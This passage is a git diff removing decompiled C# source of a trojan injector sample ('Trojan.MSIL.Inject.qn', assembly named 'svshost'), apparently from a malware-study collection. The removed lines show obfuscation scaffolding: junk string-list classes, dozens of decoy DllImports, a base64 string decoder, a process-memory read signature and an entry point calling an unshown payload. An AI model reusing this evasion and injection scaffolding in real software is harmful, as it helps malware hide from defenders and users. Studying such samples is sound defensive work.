IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/AssemblyInfo.cs deleted file mode 100644 index 47682616..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/AssemblyInfo.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("nhUleUVDgONqB")] -[assembly: AssemblyTrademark("LQAPFZLDAgcuGP")] -[assembly: AssemblyDescription("cOMTcGT")] -[assembly: AssemblyTitle("zRUoSLlZr")] -[assembly: AssemblyCopyright("hunoiBGlvSqn")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("0afb926c-7b6e-40e2-bef1-a3bc3ef9beb6")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyApplication.cs deleted file mode 100644 index acff50c5..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyComputer.cs deleted file mode 100644 index dd1d14ba..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyProject.cs deleted file mode 100644 index 548a4a2e..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.csproj deleted file mode 100644 index a620abbd..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.csproj +++ /dev/null @@ -1,50 +0,0 @@ - - - - - Debug - AnyCPU - {6035478F-C010-4A21-B050-27DEA27BF22D} - WinExe - svshost - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.sln deleted file mode 100644 index 7cf9c0b8..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svshost", "Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.csproj", "{6035478F-C010-4A21-B050-27DEA27BF22D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6035478F-C010-4A21-B050-27DEA27BF22D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6035478F-C010-4A21-B050-27DEA27BF22D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6035478F-C010-4A21-B050-27DEA27BF22D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6035478F-C010-4A21-B050-27DEA27BF22D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/afwwfafwafawfwa.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/afwwfafwafawfwa.cs deleted file mode 100644 index 9530df78..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/afwwfafwafawfwa.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: afwwfafwafawfwa -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class afwwfafwafawfwa -{ - public static void gagawgawgwa() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } - - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/agawhhwahwwhwh.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/agawhhwahwwhwh.cs deleted file mode 100644 index 8277269b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/agawhhwahwwhwh.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: agawhhwahwwhwh -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class agawhhwahwwhwh -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/aheehzhdzdhzez.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/aheehzhdzdhzez.cs deleted file mode 100644 index ddb3ba48..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/aheehzhdzdhzez.cs +++ /dev/null @@ -1,300 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: aheehzhdzdhzez -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Runtime.InteropServices; -using System.Text; - -[StandardModule] -internal sealed class aheehzhdzdhzez -{ - [DllImport("Cry.dll", EntryPoint = "usep32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern char caaPProceL(short window, long name, ArrayList msg, byte[] cbuff); - - [DllImport("Bc.dll", EntryPoint = "Wondows", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string BcicCry(int msg, ArrayList name, int hkey, byte[] xPa); - - [DllImport("LoLer.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string CryaPzc( - long hkey, - int name, - char crap, - int license, - byte[] path, - StringBuilder number, - string[] Zfinder); - - [DllImport("wc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int aPcaVc( - ArrayList crap, - char name, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string count, - long user, - string[] moIdea); - - [DllImport("mu.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern short LoLerWondowsRegmak( - int count, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder proces, - ArrayList window, - byte[] xPa, - char crap); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int ProceLLoLerKa(char proces, string[] Id); - - [DllImport("Bc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aPcaWi([MarshalAs(UnmanagedType.VBByRefStr)] ref string Id, string[] name, char hkey); - - [DllImport("Wondows.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int wccaKa( - StringBuilder Zfinder, - byte name, - short number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string crap, - byte[] xPa, - long window, - ArrayList user); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string ProceLicWi( - string[] number, - short name, - int moIdea, - StringBuilder count, - byte[] path, - ArrayList msg, - byte Zfinder, - int window, - char license); - - [DllImport("oc.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern char CrycaRegmak( - byte moIdea, - int name, - long Tempe, - string[] proces, - byte[] cbuff, - short number); - - [DllImport("Cry.dll", EntryPoint = "ca", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int VcRegmakwc( - short Tempe, - long name, - ArrayList license, - byte Id, - byte[] xPa, - char crap, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hkey); - - [DllImport("ic.dll", EntryPoint = "Regmak", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder Wizcca( - int license, - ArrayList name, - int user, - short Zfinder, - byte[] path, - long Tempe); - - [DllImport("ca.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string aPwcVc( - long user, - int name, - char window, - int number, - byte[] cbuff, - StringBuilder proces, - string[] count); - - [DllImport("Cry.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte caWondowsKa( - ArrayList window, - char name, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - long moIdea, - byte[] xPa, - int user); - - [DllImport("aP.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern string[] aPaPzc( - int msg, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder hkey, - ArrayList Tempe, - byte[] path, - byte Zfinder, - short Id); - - [DllImport("ic.dll", EntryPoint = "ic", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long ProceLVcVc( - char hkey, - StringBuilder name, - string[] crap, - int license, - byte[] cbuff, - short number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - byte hwnd); - - [DllImport("oc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern char WondowsProceLusep32([MarshalAs(UnmanagedType.VBByRefStr)] ref string crap, byte count); - - [DllImport("Regmak.dll", EntryPoint = "me", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aPWondowsRegmak(StringBuilder count, byte name, [MarshalAs(UnmanagedType.VBByRefStr)] ref string window); - - [DllImport("Cry.dll", EntryPoint = "aP", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder icKaca(string[] proces, int Id); - - [DllImport("wc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern ArrayList memuBc( - byte Id, - int name, - long Zfinder, - string[] hkey, - byte[] xPa, - int user, - char license); - - [DllImport("LoLer.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern char aPBcaP(short Zfinder, long name, ArrayList number, byte[] path); - - [DllImport("Bc.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string[] meVcLoLer( - int number, - ArrayList name, - int moIdea, - short count, - byte[] cbuff, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string msg, - long Zfinder, - char hwnd); - - [DllImport("ic.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern short icWiKa( - long moIdea, - int name, - char Tempe, - int proces, - byte[] xPa, - StringBuilder hkey, - ArrayList number, - string[] msg, - byte user); - - [DllImport("Regmak.dll", EntryPoint = "Bc", CharSet = CharSet.Auto, SetLastError = true)] - public static extern byte[] CrymeRegmak(ArrayList Tempe, char name, long Id); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern short ococme( - int license, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - StringBuilder user, - ArrayList Zfinder, - byte[] cbuff, - char Tempe); - - [DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int WiWondowsProceL(char user, string[] window); - - [DllImport("Vc.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long VcCryusep32( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string window, - string[] name, - byte msg, - char moIdea, - byte[] path, - StringBuilder user); - - [DllImport("aP.dll", EntryPoint = "Bc", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern string[] KamuCry( - StringBuilder msg, - byte name, - short hkey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Tempe, - long Zfinder); - - [DllImport("ProceL.dll", EntryPoint = "ProceL", CharSet = CharSet.Auto, SetLastError = true)] - public static extern byte[] Bcmuca(string[] hkey, short name, StringBuilder license); - - [DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern StringBuilder memuwc( - byte crap, - int name, - long count, - string[] user, - byte[] path, - int moIdea, - short hkey, - char number, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Id); - - [DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern string[] CryProceLwc( - short count, - long name, - ArrayList proces, - byte window, - byte[] cbuff, - char Tempe, - int crap, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string moIdea, - StringBuilder Zfinder); - - public static byte[] BuEubofOvOzppmpu( - int rvZTPvbQcOeDfgId, - string TdicbTzgdRGNcLTF, - byte[] oTUfVBnGRLvfEnFu) - { - byte[] numArray; - return numArray; - } - - public static byte[] ddFpvLEZcHSSmBpQ( - int TeaOmSAbGHAgbuLz, - string MgsmbdtcmHgsQpee, - byte[] DhOIPmpeQHNGGlzM) - { - byte[] numArray; - return numArray; - } - - public static byte[] eUpDMIhIvLerthac( - int UVIbBRdMcILFlcsI, - string NZdApcZOGIrSaVOp, - byte[] EavVelSQmIZfPQhV) - { - byte[] numArray; - return numArray; - } - - public static byte[] tihgEtlguHtTvfRr( - int llCEsDficHbgnama, - string cmUdhMbmGGHtcTFF, - byte[] SnpBVTTomGoHRObn) - { - byte[] numArray; - return numArray; - } - - public static byte[] ubRtSsOSQIFsFMCD( - int mcmRHCIUvImGuGUl, - string ddFpvLEZcHSSmBpQ, - byte[] TeaOmSAbGHAgbuLz) - { - byte[] numArray; - return numArray; - } - - [STAThread] - public static void Main() => justsomeshit.doit(); - - public static string dwdda(string ÔÖÓ) => Environment.GetEnvironmentVariable(ÔÖÓ); - - public static string fkaOWJfawjfozkLZD(string ÂÄÀ) => Encoding.Unicode.GetString(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String(ÂÄÀ))); -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/dkawod.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/dkawod.cs deleted file mode 100644 index 104b6bf0..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/dkawod.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: dkawod -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class dkawod -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/gawhwahawahw.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/gawhwahawahw.cs deleted file mode 100644 index 368e9f31..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/gawhwahawahw.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gawhwahawahw -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; - -[StandardModule] -internal sealed class gawhwahawahw -{ - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dawkodwa", - (object) "dzzz" - }; - } -} diff --git 